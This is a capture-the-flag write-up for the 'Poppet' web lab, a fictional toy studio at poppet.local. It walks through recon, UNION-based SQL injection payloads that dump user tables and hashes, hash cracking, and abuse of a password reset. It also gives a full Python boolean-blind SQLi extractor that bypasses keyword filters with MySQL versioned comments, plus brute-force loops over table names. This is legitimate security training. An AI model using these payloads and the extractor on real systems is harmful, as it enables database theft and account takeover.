> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/webverse-pro/2026/poppet.md).

# Poppet

{% embed url="<https://dashboard.webverselabs-pro.com/labs/poppet>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## **Scenario**

Poppet is a boutique toy studio in Asheville, NC -- handcrafted wooden figurines, plush animals, and educational kits. Their internal tooling has grown organically: a webshop, integration APIs, a CRM, and a payroll system. A recent Toy Design Studio launch lets artists upload concept sketches directly. You have been brought in to assess their web infrastructure.

## **Summary**

<details>

<summary>Summary</summary>

In Poppet, we begin without credentials, identifying a Linux-based web server on port `80` serving the `poppet.local`domain. Initial enumeration with `rustscan` piped into `nmap` reveals only HTTP, while `feroxbuster` content discovery surfaces a login page and `ffuf` virtual host fuzzing exposes the `shop`, `crm`, and `payroll` subdomains. The shop's product search endpoint is vulnerable to a UNION-based SQL injection, which we exploit to enumerate the six-column result structure, dump the `shop_users` table from `information_schema`, and recover SHA256 password hashes. Cracking these with Hashcat mode `1400` against `rockyou.txt` yields valid credentials for the `helpdesk` user, granting access to the shop staff dashboard and its Password Recovery feature.

From the helpdesk dashboard, we abuse the password reset functionality against the higher-privileged `warehouse_mgr` account by generating a reset code and exfiltrating it through the same SQL injection via the `reset_code` column, allowing us to set a new password and authenticate with elevated staff permissions. The `warehouse_mgr` has access to the Apps & Integrations page which discloses two additional vhosts `connect-api.poppet.local` and `dispatch-api.poppet.local` along with their API keys. The Dispatch API's `/api/v1/shipments/search` endpoint is vulnerable to boolean-based blind SQL injection, but a strict validator filters `SELECT`, `SUBSTRING`, `GROUP_CONCAT`, `FROM`, `information_schema` any many other keywords. We bypass the keyword blacklist using MySQL versioned conditional comments (`/*!50000SELECT*/`) and craft a custom Python extractor that leverages the validator-surviving primitive `ASCII(RIGHT(LEFT(expr,N),1))` over a threaded binary search to dump arbitrary expressions one character at a time. Wordlist-based enumeration of database and table names seeded by the leaked `dispatch_db` and the known `crm` and `payroll` vhosts surfaces `crm_db.employees`, whose `notes` column leaks credentials for `j.martinez` on the payroll portal, where the `Position Description` field is shown to sync from CRM employee records.

A second wordlist-based pass against `crm_db` uncovers a `crm_users` table containing four password hashes, of which Hashcat mode `1400` cracks the `guest` user's password to grant CRM dashboard access. The CRM uses a signed JWT for session management, which we crack with Hashcat mode `16500` to forge a `j.martinez` token and inherit edit rights over employee records. Pivoting on the Position Description sync, we inject Jinja2 SSTI payloads into the CRM profile and observe evaluation on the payroll side; with `request`, `lipsum`, `cycler`, `joiner`, and `namespace` blocked by the WAF, we land on `url_for` and bypass the remaining keyword filters through hex-encoding of `__globals__`, `get`, `os`, `popen`, and `read` within an `attr()` filter chain, achieving RCE as `root`. Environment enumeration via the SSTI discloses the `AUTOMATION_USER` `toybot` credentials, the database service password, and a Flask `SECRET_KEY`, the first of which grants access to the Poppet Design Studio on `poppet.local`, where an SVG upload feature is vulnerable to XXE allowing us to read the flag at `/root/flag.txt`.

As a bonus, the leaked `SECRET_KEY` is chained with `flask-unsign` to forge a `payroll_admin` session cookie, completing the administrative takeover of the payroll portal.

</details>

## **Recon**

We use `rustscan -b 500 -a 10.100.0.30 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.100.0.30 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/RlrBN8z1Ie9HEw3tCnt3" alt=""><figcaption></figcaption></figure>

We identify a web server running on port `80`.

<figure><img src="/files/Vmg4EG2yXZBbPNkrnsIO" alt=""><figcaption></figcaption></figure>

First, we try to access the page directly using the IP address, but we are immediately redirected to `http://poppet.local`.

{% code overflow="wrap" expandable="true" %}

```
http://10.100.0.30/
```

{% endcode %}

<figure><img src="/files/UheFJo1XfpG3bNH2svbd" alt=""><figcaption></figcaption></figure>

We add the following entry to our `/etc/hosts` file.&#x20;

{% code overflow="wrap" expandable="true" %}

```
10.100.0.30	poppet.local
```

{% endcode %}

Now we can visit the page, but at first glance we can't find any interesting entry points.

{% code overflow="wrap" expandable="true" %}

```
http://poppet.local
```

{% endcode %}

<figure><img src="/files/VJenuExXOYFG8wOZZBI7" alt=""><figcaption></figcaption></figure>

In addition to the endpoints we already identified through manual enumeration, we also find a login page using a directory scan with Feroxbuster.

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u 'http://poppet.local'
```

{% endcode %}

<figure><img src="/files/s3MWipPfEPeZkT2tPMAz" alt=""><figcaption></figcaption></figure>

We try to enumerate additional virtual hosts using FFuF and find `shop`, `crm` and `payroll`.

{% code overflow="wrap" expandable="true" %}

```
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.poppet.local" -u http://poppet.local -fw 3
```

{% endcode %}

<figure><img src="/files/N7ppd1ViDMmDfuRgVOeA" alt=""><figcaption></figcaption></figure>

We edit our entry in the `/etc/hosts` file as follows.&#x20;

{% code overflow="wrap" expandable="true" %}

```
10.100.0.30	poppet.local shop.poppet.local crm.poppet.local payroll.poppet.local
```

{% endcode %}

First, we visit each individual vhost using our browser.

The crm portal and the payroll portal are protected by a login.

{% code overflow="wrap" expandable="true" %}

```
http://crm.poppet.local/login
```

{% endcode %}

<figure><img src="/files/f6ITzJXu32qi2TzcJTHY" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
http://payroll.poppet.local/login
```

{% endcode %}

<figure><img src="/files/kxnD2AwUHEWjzldZcy2H" alt=""><figcaption></figcaption></figure>

The shop looks promising. Here we have a product page with a search field, this might be an entry point for SQL Injection besides the login pages found.&#x20;

{% code overflow="wrap" expandable="true" %}

```
http://shop.poppet.local/products
```

{% endcode %}

<figure><img src="/files/QLfSElIuRAGuU9zryR30" alt=""><figcaption></figcaption></figure>

## **Access as helpdesk on shop.poppet.local**

We enumerate the shop vhost furhter by a directory scan and notice the following interesting directories which resolve into a redirect to the login page:

`settings`, `dashboard`, `login`

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u 'http://shop.poppet.local'
```

{% endcode %}

<figure><img src="/files/FPoNHLB11yQCm2y5WvGT" alt=""><figcaption></figcaption></figure>

We'll now focus on the search field and try some SQL injection payloads. We start with the smallest payload, but we don't get an error message; however, the search returns no results.

{% code overflow="wrap" expandable="true" %}

```
'
```

{% endcode %}

<figure><img src="/files/4AI6iqjPIfl4CPZernS9" alt=""><figcaption></figcaption></figure>

We try to probe with further payloads. By injecting `' AND 1=1-- -` we see that the application returns the expected search results, while `' AND 1=2-- -` returns no results, confirming that the injected boolean conditions are being evaluated by the database and the input is not properly sanitized.

{% code overflow="wrap" expandable="true" %}

```
' AND 1=1 -- -
```

{% endcode %}

<figure><img src="/files/HrVNRu0cVlU0UtcUU1Wq" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
' AND 1=2 -- -
```

{% endcode %}

<figure><img src="/files/rRmUtBCxc8xkWSOrzRw5" alt=""><figcaption></figcaption></figure>

Now we want to exfiltrate the contents of the database by attempting a UNION-based injection. For this, we first need to determine the number of columns by ordering on a column index. The following query returns the expected items from the shop. Next, we increase the number by one with each attempt until we receive an error, in this case no results. The error indicates that we have exceeded the number of columns, allowing us to determine the correct count.

{% code overflow="wrap" expandable="true" %}

```
' ORDER BY 1 -- -
```

{% endcode %}

<figure><img src="/files/oI3GLzjxI3Jz8Od5gcEu" alt=""><figcaption></figcaption></figure>

If we try to order by 7 we do not see any products, so 6 columns are present.

{% code overflow="wrap" expandable="true" %}

```
' ORDER BY 7 -- -
```

{% endcode %}

<figure><img src="/files/uy9hEbVpHauqNZvTCXzm" alt=""><figcaption></figcaption></figure>

Using the confirmed six-column structure, the payload `' UNION SELECT 1,group_concat(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -` enumerates all table names in the current database by concatenating them into a single field returned in the visible result set. We use `ORDER BY 3` in this case so our union injected item is the first item in the list since it is orderd by the price which we set to 4.&#x20;

We are able to identify the following tables:

{% code overflow="wrap" expandable="true" %}

```
orders,products,shop_users
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
' UNION SELECT 1,group_concat(table_name),3,4,5,6 FROM information_schema.tables where table_schema = database() ORDER BY 3 -- -
```

{% endcode %}

<figure><img src="/files/k9Zx1L3461CGPbuegT4t" alt=""><figcaption></figcaption></figure>

Having identified the `shop_users` table, we try to enumerates all column names within that table, revealing its schema and identifying which fields contain sensitive data worth extracting. We are able to identify the following columns, the most interesing fiels are `username`, `password` and `reset_code`:

{% code overflow="wrap" expandable="true" %}

```
created_at,email,id,password,reset_code,reset_code_expiry,role,username
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
' UNION SELECT 1,group_concat(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name='shop_users' ORDER BY 3 -- -
```

{% endcode %}

<figure><img src="/files/1KDImZF3gWw3F3QVY9vG" alt=""><figcaption></figcaption></figure>

With the `username` and `password` columns identified, we extract their contents directly with the payload `' UNION SELECT 1,group_concat(username,0x3a,password),3,4,5,6 FROM shop_users-- -`, which concatenates each user's credentials - separated by a colon, `0x3a` -into a single field and dumps the entire user table in the visible result set.

The passwords are not in plain text; they appear to be hashed using SHA256.

{% code overflow="wrap" expandable="true" %}

```
' UNION SELECT 1,group_concat(username,0x3a,password),3,4,5,6 FROM shop_users ORDER BY 3 -- -
```

{% endcode %}

<figure><img src="/files/0yXTHw0gG94EG7CacOil" alt=""><figcaption></figcaption></figure>

We save the results to a file called `hashes.txt`.

<figure><img src="/files/uVb1vxu5XZFUbJyLp8x8" alt=""><figcaption></figcaption></figure>

Next, we try to crack them using hashcat and chose the mode `1400` for SHA256. We are successful, and are able to retrieve the password for the `helpdesk` user.

{% code overflow="wrap" expandable="true" %}

```
hashcat -m1400 -a0 hashes.txt /usr/share/wordlists/rockyou.txt --username
```

{% endcode %}

<figure><img src="/files/ViwKJal3fq5qDN8yBHUR" alt=""><figcaption></figcaption></figure>

We head to the login page of the shop and enter the credentials.

{% code overflow="wrap" expandable="true" %}

```
http://shop.poppet.local/login
```

{% endcode %}

<figure><img src="/files/K73XZt3QWsfZWEqHaaH1" alt=""><figcaption></figcaption></figure>

We are able to successfully authenticate as `helpdesk`.

{% code overflow="wrap" expandable="true" %}

```
http://shop.poppet.local/dashboard
```

{% endcode %}

<figure><img src="/files/leXgKNpz0VzTBYwqlqw5" alt=""><figcaption></figcaption></figure>

## **Access as warehouse\_mgr on shop.poppet.local**

With access to the dashboard as the user `helpdesk` we are able to use the Password Recovery feature. On the first half of the page we see the users with their respective ids. We also notive that we have the helpdesk role. The most interesting target from the list is the `warehouse_mgr` which holds the `staff` role. Perhaps the `staff` role has additional permissions.

{% code overflow="wrap" expandable="true" %}

```
http://shop.poppet.local/staff/account/recovery
```

{% endcode %}

<figure><img src="/files/03cnO09XrzpGVrKONnFE" alt=""><figcaption></figcaption></figure>

If we scroll down, we can see that we can generate reset codes for a respective Account id. The reset code is being generated and available for 15 minutes. To verify a reset and change the password we have to visit the link below - see Image - and provide the account id, the reset code and a new password. We will target the `warehouse_mgr` account which might hold further permissions.

<figure><img src="/files/PBcfitL1jcuHtLwFUwj8" alt=""><figcaption></figcaption></figure>

We request a password reset for `warehouse_mgr` and see that a reset code has been generated.

<figure><img src="/files/BeygT8ZODLstv9SO5QOW" alt=""><figcaption></figcaption></figure>

Next, we visit the verification page. We need the reset code...

{% code overflow="wrap" expandable="true" %}

```
http://shop.poppet.local/staff/account/recovery/verify
```

{% endcode %}

<figure><img src="/files/eRG69f3Tsw4k3sGdzNTK" alt=""><figcaption></figcaption></figure>

Fortunately we already have access to the DB and are able to query for the reset code via the SQL injection we identified before. We retrieve the reset code.

{% code overflow="wrap" expandable="true" %}

```
' UNION SELECT 1,group_concat(username,0x3a,reset_code),3,4,5,6 FROM shop_users ORDER BY 3 -- -
```

{% endcode %}

<figure><img src="/files/EBpsE880JortvsDmvm6G" alt=""><figcaption></figcaption></figure>

Next, we provide the reset code.

{% code overflow="wrap" expandable="true" %}

```
http://shop.poppet.local/staff/account/recovery/verify
```

{% endcode %}

<figure><img src="/files/tPpelJQd6JgR05IcEunR" alt=""><figcaption></figcaption></figure>

The password of the `warehouse_mgr` user has been successfully reset.

<figure><img src="/files/oGe1dlKJjNW2MVbbyQ0g" alt=""><figcaption></figcaption></figure>

We log out and re-log in. This time as `warehouse_mgr`.

{% code overflow="wrap" expandable="true" %}

```
http://shop.poppet.local/login
```

{% endcode %}

<figure><img src="/files/q80danL2IHHjymtegaVC" alt=""><figcaption></figcaption></figure>

We have the dashboard available, but this time we also have access to the 'Apps & Integrations' page. This reveals two other vhosts to the api endpoints of `Poppet Connect` and the `Dispatch API` with their corresponding API keys.

{% code overflow="wrap" expandable="true" %}

```
http://shop.poppet.local/dashboard
```

{% endcode %}

<figure><img src="/files/YHdMEyLpqzdb7KTC846B" alt=""><figcaption></figcaption></figure>

We are updating our `/etc/hosts` entry again.

{% code overflow="wrap" expandable="true" %}

```
10.100.0.30     poppet.local shop.poppet.local crm.poppet.local payroll.poppet.local connect-api.poppet.local dispatch-api.poppet.local
```

{% endcode %}

## **Access as j.martinez on payroll.poppet.local**

First, we visit the Connect API and provide the API Key to log in.&#x20;

{% code overflow="wrap" expandable="true" %}

```
http://connect-api.poppet.local/
```

{% endcode %}

<figure><img src="/files/BM85dS7Md2ga3f6IAofC" alt=""><figcaption></figcaption></figure>

Here we have three endpoints available. This looks like the store's API.

<figure><img src="/files/heF0u1lAz0QCbQJJa9Pd" alt=""><figcaption></figcaption></figure>

To confirm this, we'll try passing our SQL injection payload to /`api/v1/products/search`. This endpoint appears to be the shop's search function. And we are able to enumerate the same DB.

{% code overflow="wrap" expandable="true" %}

```
' UNION SELECT 1,group_concat(table_name),3,4,5,6 FROM information_schema.tables where table_schema = database() ORDER BY 3-- -
```

{% endcode %}

<figure><img src="/files/508N6h8oCqTJH3vsPtGb" alt=""><figcaption></figcaption></figure>

We move on with the Dispatch API.&#x20;

{% code overflow="wrap" expandable="true" %}

```
http://dispatch-api.poppet.local/
```

{% endcode %}

<figure><img src="/files/VBvi0fBFss8eEai8rqGF" alt=""><figcaption></figcaption></figure>

After logging in with the API key, we see many endpoints to explore.

This API is likely used for order fulfillment, shipping label generation, carrier management, and real-time tracking for all Poppet outbound shipments.

<figure><img src="/files/1R9bsqvhMpR3XT57LgFF" alt=""><figcaption></figcaption></figure>

The `/api/v1/shipments/search` endpoint appears to be vulnerable to SQL injection. By using `'` we can trigger an internal server error. Nice.

{% code overflow="wrap" expandable="true" %}

```
'
```

{% endcode %}

<figure><img src="/files/ZnFJk1N4QDLnVnxirCko" alt=""><figcaption></figcaption></figure>

However, this endpoint appears to be much better protected than the previous one. We start by trying SQLMap, but even after running a few tamper scripts, we don’t get very far. We proceed manually.&#x20;

Nevertheless, we apply the insights gained from SQLMap and continue using the payload. At least we were able to identify that a boolen-based blind injection vulnerability and the correspondig payload used.

{% code overflow="wrap" expandable="true" %}

```
sqlmap -u "http://dispatch-api.poppet.local/api/v1/shipments/search?tracking=940" \
  --headers="X-Api-Key: REDACTED" \
  --cookie="session=REDACTED \
  --batch --dbs --hex --proxy http://localhost:8080
```

{% endcode %}

<figure><img src="/files/4qCo4JqBAAt95ivnJD7m" alt=""><figcaption></figcaption></figure>

Many constructs, such as `SUBSTRING()`, `GROUP_CONCAT()`, and even `information_schema`, appear to be filtered. We had some success with the following payload:&#x20;

{% code overflow="wrap" expandable="true" %}

```
AND ASCII(LEFT(DATABASE(),1))>0
```

{% endcode %}

With this, we can extract the first character of `DATABASE()` one bit of information at a time. We include the condition `>0` as a baseline test: if a character is successfully extracted, its ASCII value is necessarily greater than 0, so the condition returns true and confirms the technique works.

{% code overflow="wrap" expandable="true" %}

```
curl -isG -H "X-Api-Key: REDACTED" \
  --data-urlencode "tracking=940%' AND ASCII(LEFT(DATABASE(),1))>0 AND '1%'='1" \
  http://dispatch-api.poppet.local/api/v1/shipments/search
```

{% endcode %}

<figure><img src="/files/6gQqfGJaIxluz9ipSYSa" alt=""><figcaption></figcaption></figure>

To resolve the first character of `DATABASE()`, we test exact ASCII values rather than the baseline `>0` check - `=115` (`s` - for somehting starting with shipment) and `=100` (`d` - for something starting with `dispatch`) - and observe which returns the true-condition response, confirming the leading character of the database name.

{% code overflow="wrap" expandable="true" %}

```
curl -isG -H "X-Api-Key: REDACTED" \
  --data-urlencode "tracking=940%' AND ASCII(LEFT(DATABASE(),1))=115 AND '1%'='1" \
  http://dispatch-api.poppet.local/api/v1/shipments/search
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
curl -isG -H "X-Api-Key: REDACTED" \
  --data-urlencode "tracking=940%' AND ASCII(LEFT(DATABASE(),1))=100 AND '1%'='1" \
  http://dispatch-api.poppet.local/api/v1/shipments/search
```

{% endcode %}

<figure><img src="/files/0Rq4EZeApvAuDODHydLU" alt=""><figcaption></figcaption></figure>

So we should be able to read the database name character by character by leveraging the functions `LEFT()` and `RIGHT()`.

`LEFT(DATABASE(),3)` returns the first three characters of the database name. For example, `"dis"`. Applying `RIGHT()` to that result, `RIGHT('dis',1)`, isolates the third character. Combining both, `ASCII(RIGHT(LEFT(DATABASE(),3),1))` lets us read the ASCII value of the third character specifically.

But we still need to be able to query the DB.

Since the `SELECT` keyword is filtered, we still need to find a bypass.&#x20;

We are able to bypass the filter by using a MySQL conditional comment:&#x20;

{% code overflow="wrap" expandable="true" %}

```
/*!50000SELECT*/
```

{% endcode %}

MySQL parses code inside `/*! ... */`comments as live SQL when the version number (`50000`, i.e. 5.0.0) is met or exceeded. The following construct `/*!50000SELECT*/` executes as `SELECT` on the target but slips past the keyword blacklist.&#x20;

While testing the payloads, zsh threw an error due to the exclamation mark...

{% code overflow="wrap" expandable="true" %}

```
curl -isG -H "X-Api-Key: REDACTED" \
  --data-urlencode "tracking=940%' AND 1=(/*!50000SELECT*/ 1) AND '1%'='1" \
  http://dispatch-api.poppet.local/api/v1/shipments/search
```

{% endcode %}

<figure><img src="/files/Ey7M12g0ZOle1kans5qZ" alt=""><figcaption></figcaption></figure>

ZSH failed to evailed the exclamation mark correctly in this context, but this can be worked around as follows... But we could have also use single quote...

{% code overflow="wrap" expandable="true" %}

```
set +o histexpand
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
echo "test!50000"
```

{% endcode %}

We confirm the bypass works as a reliable boolean oracle by submitting `AND 1=(/*!50000SELECT*/ 1)` which results to true and `AND 1=(/*!50000SELECT*/ 2)` which results to false, and observing the expected differential response... verifying that the conditional-comment technique executes `SELECT` past the filter and that the two outcomes are distinguishable for character-by-character extraction.

{% code overflow="wrap" expandable="true" %}

```
curl -isG -H "X-Api-Key: REDACTED" \
  --data-urlencode "tracking=940%' AND 1=(/*!50000SELECT*/ 1) AND '1%'='1" \
  http://dispatch-api.poppet.local/api/v1/shipments/search
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
curl -isG -H "X-Api-Key: REDACTED" \
  --data-urlencode "tracking=940%' AND 1=(/*!50000SELECT*/ 2) AND '1%'='1" \
  http://dispatch-api.poppet.local/api/v1/shipments/search
```

{% endcode %}

<figure><img src="/files/pOfqEYCfOarqQYjrdacz" alt=""><figcaption></figcaption></figure>

With our manual approach we leverage Claude to craft us an efficient script to query the database.&#x20;

The resulting script automates boolean-blind extraction by sending payloads of the form `940%' AND <condition> AND '1%'='1` and treating the presence of the `tracking_number` marker in the response as the SQL condition evaluating `TRUE`. For any target expression it first binary-searches `LENGTH(expr)` to learn the string length, then for each position extracts the character using the validator-surviving primitive `ASCII(RIGHT(LEFT((expr),N),1))`, binary-searching the ASCII value in roughly seven requests per character. Because each character position is independent, extraction is parallelized across a thread pool, and a `1=1`/`1=2` sanity check confirms the oracle still works before the dump begins.

The script requires the API key and is not provided.

{% code overflow="wrap" expandable="true" %}

```
HEADERS = {"X-Api-Key": "REDACTED"}
```

{% endcode %}

{% code title="poppet\_blind.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
#!/usr/bin/env python3
"""
Poppet Dispatch API — boolean blind SQLi extractor.

The /api/v1/shipments/search?tracking= endpoint has a validator that rejects:
    - the comment terminator `--`
    - the keyword `SELECT` (and variants like SeLeCt)
    - `SUBSTRING` / `MID` keywords
    - `FROM` keyword
    - quoted alphabetic strings like 'a' (but quoted digits like '1' are fine)

What DOES survive the validator:
    - parens, commas, =, >, <
    - DATABASE(), USER(), VERSION(), @@hostname, @@datadir, etc.
    - LEFT(), RIGHT(), ASCII(), LENGTH()

So we extract character N of an expression with:
    ASCII(RIGHT(LEFT( <expr> , N), 1))

Binary search to find each ASCII value (~7 reqs / char).

Usage:
    ./poppet_blind.py                          # extracts DATABASE() by default
    ./poppet_blind.py "USER()"
    ./poppet_blind.py "VERSION()"
    ./poppet_blind.py "@@hostname"
    ./poppet_blind.py "@@datadir"
    ./poppet_blind.py "@@version_compile_os"
    ./poppet_blind.py "CONCAT(USER(),0x7c,DATABASE())" -t 20

If the /*!50000SELECT*/ versioned-comment bypass works (test manually first), you
can extract from information_schema too:
    ./poppet_blind.py "(/*!50000SELECT*/ GROUP_CONCAT(schema_name) FROM information_schema.schemata)"
"""
import argparse
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed

import requests

URL = "http://dispatch-api.poppet.local/api/v1/shipments/search"
HEADERS = {"X-Api-Key": "REDACTED"}
TIMEOUT = 15
TRUE_MARKER = "tracking_number"  # present when the SQL boolean is TRUE


def query(condition: str) -> bool:
    """Send one boolean test. Returns True when the SQL condition is TRUE."""
    payload = f"940%' AND {condition} AND '1%'='1"
    try:
        r = requests.get(URL, params={"tracking": payload},
                         headers=HEADERS, timeout=TIMEOUT)
    except requests.RequestException as e:
        sys.stderr.write(f"\n[!] request error: {e}\n")
        return False
    if r.status_code == 400:
        sys.stderr.write(f"\n[!] validator rejected: {payload}\n")
        return False
    return TRUE_MARKER in r.text


def get_length(expr: str, max_len: int = 512) -> int:
    """Binary-search LENGTH(expr)."""
    lo, hi = 0, max_len
    while lo < hi:
        mid = (lo + hi + 1) // 2
        if query(f"LENGTH({expr})>={mid}"):
            lo = mid
        else:
            hi = mid - 1
    return lo


def get_char(expr: str, pos: int, lo: int = 32, hi: int = 126) -> str:
    """Binary-search the ASCII value of the pos-th character (1-indexed)."""
    primitive = f"ASCII(RIGHT(LEFT(({expr}),{pos}),1))"
    # First widen range if we hit the bound — character might be outside printable
    if not query(f"{primitive}<={hi}"):
        hi = 255  # extend; null bytes / high bytes possible (hex hashes use 0-9a-f, fine in default range)
    while lo < hi:
        mid = (lo + hi) // 2
        if query(f"{primitive}<={mid}"):
            hi = mid
        else:
            lo = mid + 1
    if 32 <= lo <= 126:
        return chr(lo)
    return f"\\x{lo:02x}"


def extract(expr: str, threads: int) -> str:
    print(f"[*] extracting: {expr}")
    length = get_length(expr)
    print(f"[+] length = {length}")
    if length == 0:
        return ""

    result = [None] * length
    print(f"[*] dumping {length} chars with {threads} threads...")
    with ThreadPoolExecutor(max_workers=threads) as ex:
        futs = {ex.submit(get_char, expr, i + 1): i for i in range(length)}
        for fut in as_completed(futs):
            i = futs[fut]
            result[i] = fut.result()
            preview = "".join(c if c else "·" for c in result)
            sys.stdout.write(f"\r[+] {preview}")
            sys.stdout.flush()
    print()
    return "".join(result)


def main():
    p = argparse.ArgumentParser(description="Poppet Dispatch API boolean SQLi extractor")
    p.add_argument("expr", nargs="?", default="DATABASE()",
                   help="SQL expression to extract (default: DATABASE())")
    p.add_argument("-t", "--threads", type=int, default=10,
                   help="concurrent requests (default 10)")
    p.add_argument("--max-len", type=int, default=512,
                   help="max length to probe (default 512)")
    args = p.parse_args()

    # Sanity: confirm TRUE/FALSE primitive still works
    print("[*] sanity check ...")
    t = query("1=1")
    f = query("1=2")
    if not (t and not f):
        print(f"[!] sanity failed: 1=1 → {t}, 1=2 → {f}")
        print("[!] either the validator/marker changed or session/API key is dead")
        sys.exit(1)
    print("[+] TRUE/FALSE oracle confirmed")

    out = extract(args.expr, args.threads)
    print(f"\n[=] {args.expr} = {out!r}")


if __name__ == "__main__":
    main()
```

{% endcode %}

We run the script and are now able to enumerate the database and version.

{% code overflow="wrap" expandable="true" %}

```
./poppet_blind.py 'DATABASE()'
```

{% endcode %}

<figure><img src="/files/qdQ63ChQRMHtewCAhgLc" alt=""><figcaption></figcaption></figure>

Since we could not find a workaround for the `information_schema` filtering, we resorted to wordlist-based guessing of table and column names. Fortunately, we have some useful clues: `dispatch_db` from the earlier `DATABASE()` extraction, and `crm` and `payroll` as observed vhosts. We are likely dealing with databases such as `crm_db` and `payroll_db`, and that we should specifically target common table names like `employees` or `users`."

First, we check whether `crm_db.employees` exists by probing for either a populated `id` column (`LENGTH(id) ... LIMIT 1`) or a row count (`COUNT(*)`); a true response from either confirms the table is present and reachable. And we see that the databes with the table employees exists.

{% code overflow="wrap" expandable="true" %}

```
./poppet_blind.py "(/*!50000SELECT*/ LENGTH(id) /*!50000FROM*/ crm_db.employees LIMIT 1)"
```

{% endcode %}

<figure><img src="/files/jQO7MRDj2hFwSTIlz85G" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
./poppet_blind.py "(/*!50000SELECT*/ COUNT(*) /*!50000FROM*/ crm_db.employees)"
```

{% endcode %}

<figure><img src="/files/zAn0ThftrGAf6MJ4Zu4y" alt=""><figcaption></figcaption></figure>

Several columns were tried, and we successfully identified the `notes` column. To dump the contents of the table, we iterate over rows using `LIMIT 1 OFFSET $i`, extracting the `notes` field of each employee record one row at a time. We are able to identify an entry which reveals the credentials of `j.martinez` on the payroll vhost.

{% code overflow="wrap" expandable="true" %}

```bash
for i in 0 1 2 3 4; do
  echo "=== row $i ==="
  ./poppet_blind.py "(/*!50000SELECT*/ notes /*!50000FROM*/ crm_db.employees LIMIT 1 OFFSET $i)" -t 20
done
```

{% endcode %}

<figure><img src="/files/OPGc7cOw813syVM3wp1V" alt=""><figcaption></figcaption></figure>

We head to the payroll vhost and enter the credentials.

{% code overflow="wrap" expandable="true" %}

```
http://payroll.poppet.local/login
```

{% endcode %}

<figure><img src="/files/BDXt5FO4JMbpIQAU0EF6" alt=""><figcaption></figcaption></figure>

We are able to successfully authenticate and have access to the dashboard.

{% code overflow="wrap" expandable="true" %}

```
http://payroll.poppet.local/dashboard
```

{% endcode %}

<figure><img src="/files/4avY9COPmwNPl46g5v26" alt=""><figcaption></figcaption></figure>

Here we are able to inspect each employee. The most interesting part here is that the `Position Description` is synced from the CRM employee records. So we might be able to edit this field from there.

{% code overflow="wrap" expandable="true" %}

```
http://payroll.poppet.local/employees/1
```

{% endcode %}

<figure><img src="/files/mYhtzkhLTzkVJJn6vxrV" alt=""><figcaption></figcaption></figure>

At `settings` we can see that there are only two users present. The user `j.martinez` as viewer and the `payroll_admin` with the role `admin`.

{% code overflow="wrap" expandable="true" %}

```
http://payroll.poppet.local/settings
```

{% endcode %}

<figure><img src="/files/WpljxpHjEffN1Hfmw3mu" alt=""><figcaption></figcaption></figure>

And as already mentioned the `Position Description` is being synced from the CRM employee records.&#x20;

{% code overflow="wrap" expandable="true" %}

```
http://payroll.poppet.local/employees/1
```

{% endcode %}

<figure><img src="/files/JsaJhKHj8Fl4LnIWxGBL" alt=""><figcaption></figcaption></figure>

## Access as guest on crm.poppet.local

So it seems we may have overlooked something during the enumeration, or we weren't thorough enough. We may now need access to the CRM, since we can't bypass the `payroll_admin` Flask cookie to continue as an admin here.

We brute-force a wordlist of candidate table names against `crm_db` again, probing each with a minimal `SELECT 1 ... LIMIT 1` and treating any successful length response as confirmation that the table exists.

{% code overflow="wrap" expandable="true" %}

```bash
for t in crm_users crm_accounts login signin profiles \
         admins administrators managers \
         roles permissions identities access \
         config configs settings app_config \
         secrets keys api_keys jwt_secrets \
         env environment vars constants \
         contacts customers leads; do
  r=$(./poppet_blind.py "(/*!50000SELECT*/ 1 /*!50000FROM*/ crm_db.$t LIMIT 1)" 2>&1 | grep "length =")
  echo "crm_db.$t: $r"
done
```

{% endcode %}

<figure><img src="/files/oJPEkUnxfNxKkyMwvdGY" alt=""><figcaption></figcaption></figure>

And we've found something very interesting. In addition to the employee table, there also appears to be a separate users table with the unusual name `crm_users`.

{% code overflow="wrap" expandable="true" %}

```
crm_db.crm_users
```

{% endcode %}

With the table confirmed, we then brute-force candidate column names against `crm_db.crm_users` the same way, probing each with `SELECT <col> ... LIMIT 1` and treating a length response as confirmation that the column exists.

{% code overflow="wrap" expandable="true" %}

```
for c in id name email username password password_hash phone \
         role title department manager_id salary \
         notes note comment comments description \
         created_at updated_at last_login \
         api_key token secret hash; do
  r=$(./poppet_blind.py "(/*!50000SELECT*/ $c /*!50000FROM*/ crm_db.crm_users LIMIT 1)" 2>&1 | grep "length =")
  echo "$c: $r"
done
```

{% endcode %}

<figure><img src="/files/zzqaanD94s9Lxk5NIZD6" alt=""><figcaption></figcaption></figure>

